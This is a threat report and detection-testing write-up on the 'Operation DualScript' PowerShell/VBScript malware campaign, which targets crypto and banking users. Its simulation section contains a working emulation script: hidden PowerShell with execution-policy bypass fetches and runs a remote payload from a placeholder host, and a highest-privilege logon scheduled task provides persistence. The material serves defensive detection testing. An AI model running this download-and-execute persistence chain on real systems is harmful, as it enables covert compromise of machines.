Operation DualScript: Multi-Stage PowerShell Malware Targeting Crypto and Finance

Summary

The report outlines Operation DualScript, a multi-stage malware campaign that relies on scheduled-task persistence, VBScript launchers, and PowerShell loaders to deploy both a clipboard hijacker and the RetroRAT remote access trojan. The attackers store malicious PowerShell on external servers and run it fully in memory to reduce detection opportunities. RetroRAT records keystrokes, monitors active windows for finance-related keywords, and sends stolen data through a custom TCP C2 channel. The campaign is aimed at cryptocurrency activity and U.S. banking targets.

Investigation

Analysts discovered scheduled tasks configured to launch VBScript files from user-writable paths, which then executed hidden PowerShell with execution-policy bypass enabled. Two parallel delivery chains were identified: one retrieved a Wallet.txt script to hijack cryptocurrency clipboard contents, while the other loaded RetroRAT directly into memory. Static analysis also exposed anti-analysis logic, mutex creation, multi-threaded keylogging, and a hard-coded C2 handshake string.

Mitigation

Defenders should monitor for suspicious scheduled tasks that invoke VBScript or PowerShell with hidden windows and bypass arguments. Endpoint detection should focus on in-memory PowerShell execution, unusual clipboard monitoring behavior, and creation of unknown mutexes. Organizations should also block outbound traffic to the malicious domains and apply strict execution controls to PowerShell and VBScript.

Response

If this activity is detected, isolate the affected host, disable the malicious scheduled tasks, and remove any persisted VBScript or PowerShell artifacts. Perform a full forensic sweep for the RetroRAT payload, captured keystroke data, and related C2 traffic. Reset exposed cryptocurrency wallet information and change banking credentials. Restore affected systems from clean backups and block the identified domains and IP addresses at the network layer.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  The attacker first stages a VBScript (dual.vbs) in the user’s profile directory. The script’s purpose is to launch PowerShell with the flags -WindowStyle Hidden and -ExecutionPolicy Bypass, then download and execute a remote payload (simulated with a simple Write-Host). To achieve persistence, the attacker registers a scheduled task (DualScriptPersist) that runs the VBScript at logon. Each step produces the two correlated EventID 4104 entries the rule looks for.

• Regression Test Script:

  # -------------------------------------------------
  # DualScript Attack Simulation – PowerShell
  # -------------------------------------------------
  # 1️⃣ Create malicious VBScript in a user‑writable path
  $vbsPath = "$env:USERPROFILEdual.vbs"
  $payloadUrl = "http://example.com/payload.ps1"   # placeholder URL
  $vbsContent = @"
  WScript.Sleep 500
  Dim sh
  Set sh = CreateObject("WScript.Shell")
  sh.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"IEX (New-Object Net.WebClient).DownloadString('$payloadUrl')`""
  "@
  $vbsContent | Set-Content -Path $vbsPath -Encoding ASCII
  
  # 2️⃣ Register a scheduled task that runs the VBScript at every user logon
  $taskName = "DualScriptPersist"
  $taskAction = "`"$vbsPath`""
  schtasks.exe /Create `
      /SC ONLOGON `
      /RL HIGHEST `
      /TN $taskName `
      /TR $taskAction `
      /F
  
  # 3️⃣ Force the task to run immediately (trigger detection)
  schtasks.exe /Run /TN $taskName
  
  Write-Host "`n[+] DualScript simulation executed. Check your SIEM for alerts."
  # -------------------------------------------------

• Cleanup Commands:

  # -------------------------------------------------
  # DualScript Simulation Cleanup
  # -------------------------------------------------
  $taskName = "DualScriptPersist"
  $vbsPath  = "$env:USERPROFILEdual.vbs"
  
  # Delete scheduled task
  schtasks.exe /Delete /TN $taskName /F
  
  # Remove the VBScript file
  Remove-Item -Path $vbsPath -Force -ErrorAction SilentlyContinue
  
  Write-Host "`n[+] Cleanup completed."
  # -------------------------------------------------